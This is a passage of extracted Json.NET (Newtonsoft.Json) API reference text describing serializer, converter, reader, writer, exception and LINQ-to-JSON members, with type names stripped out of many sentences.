JSON string representation of the object. Serializes the specified object to a JSON string using a type, formatting and . The object to serialize. Indicates how the output should be formatted. The used to serialize the object. If this is null, default serialization settings will be used. The type of the value being serialized. This parameter is used when is to write out the type name if the type of the value does not match. Specifying the type is optional. A JSON string representation of the object. Deserializes the JSON to a .NET object. The JSON to deserialize. The deserialized object from the JSON string. Deserializes the JSON to a .NET object using . The JSON to deserialize. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type. The JSON to deserialize. The of object being deserialized. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type. The type of the object to deserialize to. The JSON to deserialize. The deserialized object from the JSON string. Deserializes the JSON to the given anonymous type. The anonymous type to deserialize to. This can't be specified traditionally and must be inferred from the anonymous type passed as a parameter. The JSON to deserialize. The anonymous type object. The deserialized anonymous type from the JSON string. Deserializes the JSON to the given anonymous type using . The anonymous type to deserialize to. This can't be specified traditionally and must be inferred from the anonymous type passed as a parameter. The JSON to deserialize. The anonymous type object. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized anonymous type from the JSON string. Deserializes the JSON to the specified .NET type using a collection of . The type of the object to deserialize to. The JSON to deserialize. Converters to use while deserializing. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type using . The type of the object to deserialize to. The object to deserialize. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type using a collection of . The JSON to deserialize. The type of the object to deserialize. Converters to use while deserializing. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type using . The JSON to deserialize. The type of the object to deserialize to. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized object from the JSON string. Populates the object with values from the JSON string. The JSON to populate values from. The target object to populate values onto. Populates the object with values from the JSON string using . The JSON to populate values from. The target object to populate values onto. The used to deserialize the object. If this is null, default serialization settings will be used. Serializes the to a JSON string. The node to serialize. A JSON string of the . Serializes the to a JSON string using formatting. The node to serialize. Indicates how the output should be formatted. A JSON string of the . Serializes the to a JSON string using formatting and omits the root object if is true. The node to serialize. Indicates how the output should be formatted. Omits writing the root object. A JSON string of the . Deserializes the from a JSON string. The JSON string. The deserialized . Deserializes the from a JSON string nested in a root element specified by . The JSON string. The name of the root element to append when deserializing. The deserialized . Deserializes the from a JSON string nested in a root element specified by and writes a Json.NET array attribute for collections. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. The deserialized . Deserializes the from a JSON string nested in a root element specified by , writes a Json.NET array attribute for collections, and encodes special characters. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. A value to indicate whether to encode special characters when converting JSON to XML. If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify XML namespaces, attributes or processing directives. Instead special characters are encoded and written as part of the XML element name. The deserialized . Serializes the to a JSON string. The node to convert to JSON. A JSON string of the . Serializes the to a JSON string using formatting. The node to convert to JSON. Indicates how the output should be formatted. A JSON string of the . Serializes the to a JSON string using formatting and omits the root object if is true. The node to serialize. Indicates how the output should be formatted. Omits writing the root object. A JSON string of the . Deserializes the from a JSON string. The JSON string. The deserialized . Deserializes the from a JSON string nested in a root element specified by . The JSON string. The name of the root element to append when deserializing. The deserialized . Deserializes the from a JSON string nested in a root element specified by and writes a Json.NET array attribute for collections. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. The deserialized . Deserializes the from a JSON string nested in a root element specified by , writes a Json.NET array attribute for collections, and encodes special characters. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. A value to indicate whether to encode special characters when converting JSON to XML. If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify XML namespaces, attributes or processing directives. Instead special characters are encoded and written as part of the XML element name. The deserialized . Converts an object to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Gets a value indicating whether this can read JSON. true if this can read JSON; otherwise, false. Gets a value indicating whether this can write JSON. true if this can write JSON; otherwise, false. Converts an object to and from JSON. The object type to convert. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. If there is no existing value then null will be used. The existing value has a value. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Instructs the to use the specified when serializing the member or class. Gets the of the . The of the . The parameter list to use when constructing the described by . If null, the default constructor is used. Initializes a new instance of the class. Type of the . Initializes a new instance of the class. Type of the . Parameter list to use when constructing the . Can be null. Represents a collection of . Instructs the how to serialize the collection. Initializes a new instance of the class. Initializes a new instance of the class with the specified container Id. The container Id. The exception thrown when an error occurs during JSON serialization or deserialization. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Instructs the to deserialize properties with no matching class member into the specified collection and write values during serialization. Gets or sets a value that indicates whether to write extension data when serializing the object. true to write extension data when serializing the object; otherwise, false. The default is true. Gets or sets a value that indicates whether to read extension data when deserializing the object. true to read extension data when deserializing the object; otherwise, false. The default is true. Initializes a new instance of the class. Instructs the not to serialize the public field or public read/write property value. Base class for a table of atomized string objects. Gets a string containing the same characters as the specified range of characters in the given array. The character array containing the name to find. The zero-based index into the array specifying the first character of the name. The number of characters in the name. A string containing the same characters as the specified range of characters in the given array. Instructs the how to serialize the object. Gets or sets the member serialization. The member serialization. Gets or sets the missing member handling used when deserializing this object. The missing member handling. Gets or sets how the object's properties with null values are handled during serialization and deserialization. How the object's properties with null values are handled during serialization and deserialization. Gets or sets a value that indicates whether the object's properties are required. A value indicating whether the object's properties are required. Initializes a new instance of the class. Initializes a new instance of the class with the specified member serialization. The member serialization. Initializes a new instance of the class with the specified container Id. The container Id. Instructs the to always serialize the member with the specified name. Gets or sets the type used when serializing the property's collection items. The collection's items type. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] Gets or sets the of the . The of the . The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] Gets or sets the null value handling used when serializing this property. The null value handling. Gets or sets the default value handling used when serializing this property. The default value handling. Gets or sets the reference loop handling used when serializing this property. The reference loop handling. Gets or sets the object creation handling used when deserializing this property. The object creation handling. Gets or sets the type name handling used when serializing this property. The type name handling. Gets or sets whether this property's value is serialized as a reference. Whether this property's value is serialized as a reference. Gets or sets the order of serialization of a member. The numeric order of serialization. Gets or sets a value indicating whether this property is required. A value indicating whether this property is required. Gets or sets the name of the property. The name of the property. Gets or sets the reference loop handling used when serializing the property's collection items. The collection's items reference loop handling. Gets or sets the type name handling used when serializing the property's collection items. The collection's items type name handling. Gets or sets whether this property's collection items are serialized as a reference. Whether this property's collection items are serialized as a reference. Initializes a new instance of the class. Initializes a new instance of the class with the specified name. Name of the property. Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. Specifies the state of the reader. A read method has not been called. The end of the file has been reached successfully. Reader is at a property. Reader is at the start of an object. Reader is in an object. Reader is at the start of an array. Reader is in an array. The method has been called. Reader has just read a value. Reader is at the start of a constructor. Reader is in a constructor. An error occurred that prevents the read operation from continuing. The end of the file has been reached successfully. Gets the current reader state. The current reader state. Gets or sets a value indicating whether the source should be closed when this reader is closed. true to close the source when this reader is closed; otherwise false. The default is true. Gets or sets a value indicating whether multiple pieces of JSON content can be read from a continuous stream without erroring. true to support reading multiple pieces of JSON content; otherwise false. The default is false. Gets the quotation mark character used to enclose the value of a string. Gets or sets how time zones are handled when reading JSON. Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. Gets or sets how custom date formatted strings are parsed when reading JSON. Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . A null value means there is no maximum. The default value is 128. Gets the type of the current JSON token. Gets the text value of the current JSON token. Gets the .NET type for the current JSON token. Gets the depth of the current token in the JSON document. The depth of the current token in the JSON document. Gets the path of the current JSON token. Gets or sets the culture used when reading JSON. Defaults to . Initializes a new instance of the class. Reads the next JSON token from the source. true if the next token was read successfully; false if there are no more tokens to read. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a . A . This method will return null at the end of an array. Reads the next JSON token from the source as a []. A [] or null if the next JSON token is null. This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Skips the children of the current token. Sets the current token. The new token. Sets the current token and value. The new token. The value. Sets the current token and value. The new token. The value. A flag indicating whether the position index inside an array should be updated. Sets the state based on current token type. Releases unmanaged and - optionally - managed resources. true to release both managed and unmanaged resources; false to release only unmanaged resources. Changes the reader's state to . If is set to true, the source is also closed. The exception thrown when an error occurs while reading JSON text. Gets the line number indicating where the error occurred. The line number indicating where the error occurred. Gets the line position indicating where the error occurred. The line position indicating where the error occurred. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Initializes a new instance of the class with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The path to the JSON where the error occurred. The line number indicating where the error occurred. The line position indicating where the error occurred. The exception that is the cause of the current exception, or null if no inner exception is specified. Instructs the to always serialize the member, and to require that the member has a value. The exception thrown when an error occurs during JSON serialization or deserialization. Gets the line number indicating where the error occurred. The line number indicating where the error occurred. Gets the line position indicating where the error occurred. The line position indicating where the error occurred. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Initializes a new instance of the class with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The path to the JSON where the error occurred. The line number indicating where the error occurred. The line position indicating where the error occurred. The exception that is the cause of the current exception, or null if no inner exception is specified. Serializes and deserializes objects into and from the JSON format. The enables you to control how objects are encoded into JSON. Occurs when the errors during serialization and deserialization. Gets or sets the used by the serializer when resolving references. Gets or sets the used by the serializer when resolving type names. Gets or sets the used by the serializer when resolving type names. Gets or sets the used by the serializer when writing trace messages. The trace writer. Gets or sets the equality comparer used by the serializer when comparing references. The equality comparer. Gets or sets how type name writing and reading is handled by the serializer. The default value is . should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom when deserializing with a value other than . Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how object references are preserved by the serializer. The default value is . Gets or sets how reference loops (e.g. a class referencing itself) is handled. The default value is . Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. The default value is . Gets or sets how null values are handled during serialization and deserialization. The default value is . Gets or sets how default values are handled during serialization and deserialization. The default value is . Gets or sets how objects are created during deserialization. The default value is . The object creation handling. Gets or sets how constructors are used during deserialization. The default value is . The constructor handling. Gets or sets how metadata properties are used during deserialization. The default value is . The metadata properties handling. Gets a collection that will be used during serialization. Collection that will be used during serialization. Gets or sets the contract resolver used by the serializer when serializing .NET objects to JSON and vice versa. Gets or sets the used by the serializer when invoking serialization callback methods. The context. Indicates how JSON text output is formatted. The default value is . Gets or sets how dates are written to JSON text. The default value is . Gets or sets how time zones are handled during serialization and deserialization. The default value is . Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. The default value is . Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. The default value is . Gets or sets how special floating point numbers, e.g. , and , are written as JSON text. The default value is . Gets or sets how strings are escaped when writing JSON text. The default value is . Gets or sets how and values are formatted when writing JSON text, and the expected date format when reading JSON text. The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". Gets or sets the culture used when reading JSON. The default value is . Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . A null value means there is no maximum. The default value is 128. Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. The default value is false. true if there will be a check for additional JSON content after deserializing an object; otherwise, false. Initializes a new instance of the class. Creates a new instance. The will not use default settings from . A new instance. The will not use default settings from . Creates a new instance using the specified . The will not use default settings from . The settings to be applied to the . A new instance using the specified . The will not use default settings from . Creates a new instance. The will use default settings from . A new instance. The will use default settings from . Creates a new instance using the specified . The will use default settings from as well as the specified . The settings to be applied to the . A new instance using the specified . The will use default settings from as well as the specified . Populates the JSON values onto the target object. The that contains the JSON structure to read values from. The target object to populate values onto. Populates the JSON values onto the target object. The that contains the JSON structure to read values from. The target object to populate values onto. Deserializes the JSON structure contained by the specified . The that contains the JSON structure to deserialize. The being deserialized. Deserializes the JSON structure contained by the specified into an instance of the specified type. The containing the object. The of object being deserialized. The instance of being deserialized. Deserializes the JSON structure contained by the specified into an instance of the specified type. The containing the object. The type of the object to deserialize. The instance of being deserialized. Deserializes the JSON structure contained by the specified into an instance of the specified type. The containing the object. The of object being deserialized. The instance of being deserialized. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. The type of the value being serialized. This parameter is used when is to write out the type name if the type of the value does not match. Specifying the type is optional. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. The type of the value being serialized. This parameter is used when is Auto to write out the type name if the type of the value does not match. Specifying the type is optional. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. Specifies the settings on a object. Gets or sets how reference loops (e.g. a class referencing itself) are handled. The default value is . Reference loop handling. Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. The default value is . Missing member handling. Gets or sets how objects are created during deserialization. The default value is . The object creation handling. Gets or sets how null values are handled during serialization and deserialization. The default value is . Null value handling. Gets or sets how default values are handled during serialization and deserialization. The default value is . The default value handling. Gets or sets a collection that will be used during serialization. The converters. Gets or sets how object references are preserved by the serializer. The default value is . The preserve references handling. Gets or sets how type name writing and reading is handled by the serializer. The default value is . should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom when deserializing with a value other than . The type name handling. Gets or sets how metadata properties are used during deserialization. The default value is . The metadata properties handling. Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how constructors are used during deserialization. The default value is . The constructor handling. Gets or sets the contract resolver used by the serializer when serializing .NET objects to JSON and vice versa. The contract resolver. Gets or sets the equality comparer used by the serializer when comparing references. The equality comparer. Gets or sets the used by the serializer when resolving references. The reference resolver. Gets or sets a function that creates the used by the serializer when resolving references. A function that creates the used by the serializer when resolving references. Gets or sets the used by the serializer when writing trace messages. The trace writer. Gets or sets the used by the serializer when resolving type names. The binder. Gets or sets the used by the serializer when resolving type names. The binder. Gets or sets the error handler called during serialization and deserialization. The error handler called during serialization and deserialization. Gets or sets the used by the serializer when invoking serialization callback methods. The context. Gets or sets how and values are formatted when writing JSON text, and the expected date format when reading JSON text. The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . A null value means there is no maximum. The default value is 128. Indicates how JSON text output is formatted. The default value is . Gets or sets how dates are written to JSON text. The default value is . Gets or sets how time zones are handled during serialization and deserialization. The default value is . Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. The default value is . Gets or sets how special floating point numbers, e.g. , and , are written as JSON. The default value is . Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. The default value is . Gets or sets how strings are escaped when writing JSON text. The default value is . Gets or sets the culture used when reading JSON. The default value is . Gets a value indicating whether there will be a check for additional content after deserializing an object. The default value is false. true if there will be a check for additional content after deserializing an object; otherwise, false. Initializes a new instance of the class. Represents a reader that provides fast, non-cached, forward-only access to JSON text data. Initializes a new instance of the class with the specified . The containing the JSON data to read. Gets or sets the reader's property name table. Gets or sets the reader's character buffer pool. Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a . A . This method will return null at the end of an array. Reads the next JSON token from the underlying as a []. A [] or null if the next JSON token is null. This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Changes the reader's state to . If is set to true, the underlying is also closed. Gets a value indicating whether the class can return line information. true if and can be provided; otherwise, false. Gets the current line number. The current line number or 0 if no line information is available (for example, returns false). Gets the current line position. The current line position or 0 if no line information is available (for example, returns false). Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. Gets or sets the writer's character array pool. Gets or sets how many s to write for each level in the hierarchy when is set to . Gets or sets which character to use to quote attribute values. Gets or sets which character to use for indenting when is set to . Gets or sets a value indicating whether object names will be surrounded with quotes. Initializes a new instance of the class using the specified . The to write to. Flushes whatever is in the buffer to the underlying and also flushes the underlying . Closes this writer. If is set to true, the underlying is also closed. If is set to true, the JSON is auto-completed. Writes the beginning of a JSON object. Writes the beginning of a JSON array. Writes the start of a constructor with the given name. The name of the constructor. Writes the specified end token. The end token to write. Writes the property name of a name/value pair on a JSON object. The name of the property. Writes the property name of a name/value pair on a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. Writes indent characters. Writes the JSON value delimiter. Writes an indent space. Writes a value. An error will raised if the value cannot be written as a single JSON token. The value to write. Writes a null value. Writes an undefined value. Writes raw JSON. The raw JSON to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a of value. The of value to write. Writes a value. The value to write. Writes a of value. The of value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes the given white space. The string of white space characters. Specifies the type of JSON token. This is returned by the if a read method has not been called. An object start token. An array start token. A constructor start token. An object property name. A comment. Raw JSON. An integer. A float. A string. A boolean. A null token. An undefined token. An object end token. An array end token. A constructor end token. A Date. Byte data. Represents a reader that provides validation. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Sets an event handler for receiving schema validation errors. Gets the text value of the current JSON token. Gets the depth of the current token in the JSON document. The depth of the current token in the JSON document. Gets the path of the current JSON token. Gets the quotation mark character used to enclose the value of a string. Gets the type of the current JSON token. Gets the .NET type for the current JSON token. Initializes a new instance of the class that validates the content returned from the given . The to read from while validating. Gets or sets the schema. The schema. Gets the used to construct this . The specified in the constructor. Changes the reader's state to . If is set to true, the underlying is also closed. Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a []. A [] or null if the next JSON token is null. Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a . A . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. Gets or sets a value indicating whether the destination should be closed when this writer is closed. true to close the destination when this writer is closed; otherwise false. The default is true. Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. Gets the top. The top. Gets the state of the writer. Gets the path of the writer. Gets or sets a value indicating how JSON text output should be formatted. Gets or sets how dates are written to JSON text. Gets or sets how time zones are handled when writing JSON text. Gets or sets how strings are escaped when writing JSON text. Gets or sets how special floating point numbers, e.g. , and , are written to JSON text. Gets or sets how and values are formatted when writing JSON text. Gets or sets the culture used when writing JSON. Defaults to . Initializes a new instance of the class. Flushes whatever is in the buffer to the destination and also flushes the destination. Closes this writer. If is set to true, the destination is also closed. If is set to true, the JSON is auto-completed. Writes the beginning of a JSON object. Writes the end of a JSON object. Writes the beginning of a JSON array. Writes the end of an array. Writes the start of a constructor with the given name. The name of the constructor. Writes the end constructor. Writes the property name of a name/value pair of a JSON object. The name of the property. Writes the property name of a name/value pair of a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. Writes the end of the current JSON object or array. Writes the current token and its children. The to read the token from. Writes the current token. The to read the token from. A flag indicating whether the current token's children should be written. Writes the token and its value. The to write. The value to write. A value is only required for tokens that have an associated value, e.g. the property name for . null can be passed to the method for tokens that don't have a value, e.g. . Writes the token. The to write. Writes the specified end token. The end token to write. Writes indent characters. Writes the JSON value delimiter. Writes an indent space. Writes a null value. Writes an undefined value. Writes raw JSON without changing the writer's state. The raw JSON to write. Writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. An error will raised if the value cannot be written as a single JSON token. The value to write. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes the given white space. The string of white space characters. Releases unmanaged and - optionally - managed resources. true to release both managed and unmanaged resources; false to release only unmanaged resources. Sets the state of the . The being written. The value being written. The exception thrown when an error occurs while writing JSON text. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Initializes a new instance of the class with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The path to the JSON where the error occurred. The exception that is the cause of the current exception, or null if no inner exception is specified. Specifies how JSON comments are handled when loading JSON. Ignore comments. Load comments as a with type . Specifies how duplicate property names are handled when loading JSON. Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. Throw a when a duplicate property is encountered. Contains the LINQ to JSON extension methods. Returns a collection of tokens that contains the ancestors of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains the ancestors of every token in the source collection. Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains every token in the source collection, the ancestors of every token in the source collection. Returns a collection of tokens that contains the descendants of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains the descendants of every token in the source collection. Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains every token in the source collection, and the descendants of every token in the source collection. Returns a collection of child properties of every object in the source collection. An of that contains the source collection. An of that contains the properties of every object in the source collection. Returns a collection of child values of every object in the source collection with the given key. An of that contains the source collection. The token key. An of that contains the values of every token in the source collection with the given key. Returns a collection of child values of every object in the source collection. An of that contains the source collection. An of that contains the values of every token in the source collection. Returns a collection of converted child values of every object in the source collection with the given key. The type to convert the values to. An of that contains the source collection. The token key. An that contains the converted values of every token in the source collection with the given key. Returns a collection of converted child values of every object in the source collection. The type to convert the values to. An of that contains the source collection. An that contains the converted values of every token in the source collection. Converts the value. The type to convert the value to. A cast as a of . A converted value. Converts the value. The source collection type. The type to convert the value to. A cast as a of . A converted value. Returns a collection of child tokens of every array in the source collection. The source collection type. An of that contains the source collection. An of that contains the values of every token in the source collection. Returns a collection of converted child tokens of every array in the source collection. An of that contains the source collection. The type to convert the values to. The source collection type. An that contains the converted values of every token in the source collection. Returns the input typed as . An of that contains the source collection. The input typed as . Returns the input typed as . The source collection type. An of that contains the source collection. The input typed as . Represents a collection of objects. The type of token. Gets the of with the specified key. Represents a JSON array. Gets the container's children tokens. The container's children tokens. Gets the node type for this . The type. Initializes a new instance of the class. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the specified content. The contents of the array. Initializes a new instance of the class with the specified content. The contents of the array. Loads an from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . Loads an from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . Load a from a string that contains JSON. A that contains JSON. A populated from the string that contains JSON. Load a from a string that contains JSON. A that contains JSON. The used to load the JSON. If this is null, default load settings will be used. A populated from the string that contains JSON. Creates a from an object. The object that will be used to create . A with the values of the specified object. Creates a from an object. The object that will be used to create . The that will be used to read the object. A with the values of the specified object. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Gets the with the specified key. The with the specified key. Gets or sets the at the specified index. Determines the index of a specific item in the . The object to locate in the . The index of if found in the list; otherwise, -1. Inserts an item to the at the specified index. The zero-based index at which should be inserted. The object to insert into the . is not a valid index in the . Removes the item at the specified index. The zero-based index of the item to remove. is not a valid index in the . Returns an enumerator that iterates through the collection. A of that can be used to iterate through the collection. Adds an item to the . The object to add to the . Removes all items from the . Determines whether the contains a specific value. The object to locate in the . true if is found in the ; otherwise, false. Copies the elements of the to an array, starting at a particular array index. The array. Index of the array. Gets a value indicating whether the is read-only. true if the is read-only; otherwise, false. Removes the first occurrence of a specific object from the . The object to remove from the . true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . Represents a JSON constructor. Gets the container's children tokens. The container's children tokens. Gets or sets the name of this constructor. The constructor name. Gets the node type for this . The type. Initializes a new instance of the class. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the specified name and content. The constructor name. The contents of the constructor. Initializes a new instance of the class with the specified name and content. The constructor name. The contents of the constructor. Initializes a new instance of the class with the specified name. The constructor name. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Gets the with the specified key. The with the specified key. Loads a from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . Loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . Represents a token that can contain other tokens. Occurs when the list changes or an item in the list changes. Occurs before an item is added to the collection. Occurs when the items list of the collection has changed, or the collection is reset. Gets the container's children tokens. The container's children tokens. Raises the event. The instance containing the event data. Raises the event. The instance containing the event data. Raises the event. The instance containing the event data. Gets a value indicating whether this token has child tokens. true if this token has child values; otherwise, false. Get the first child token of this token. A containing the first child token of the . Get the last child token of this token. A containing the last child token of the . Returns a collection of the child tokens of this token, in document order. An of containing the child tokens of this , in document order. Returns a collection of the child values of this token, in document order. The type to convert the values to. A containing the child values of this , in document order. Returns a collection of the descendant tokens for this token in document order. An of containing the descendant 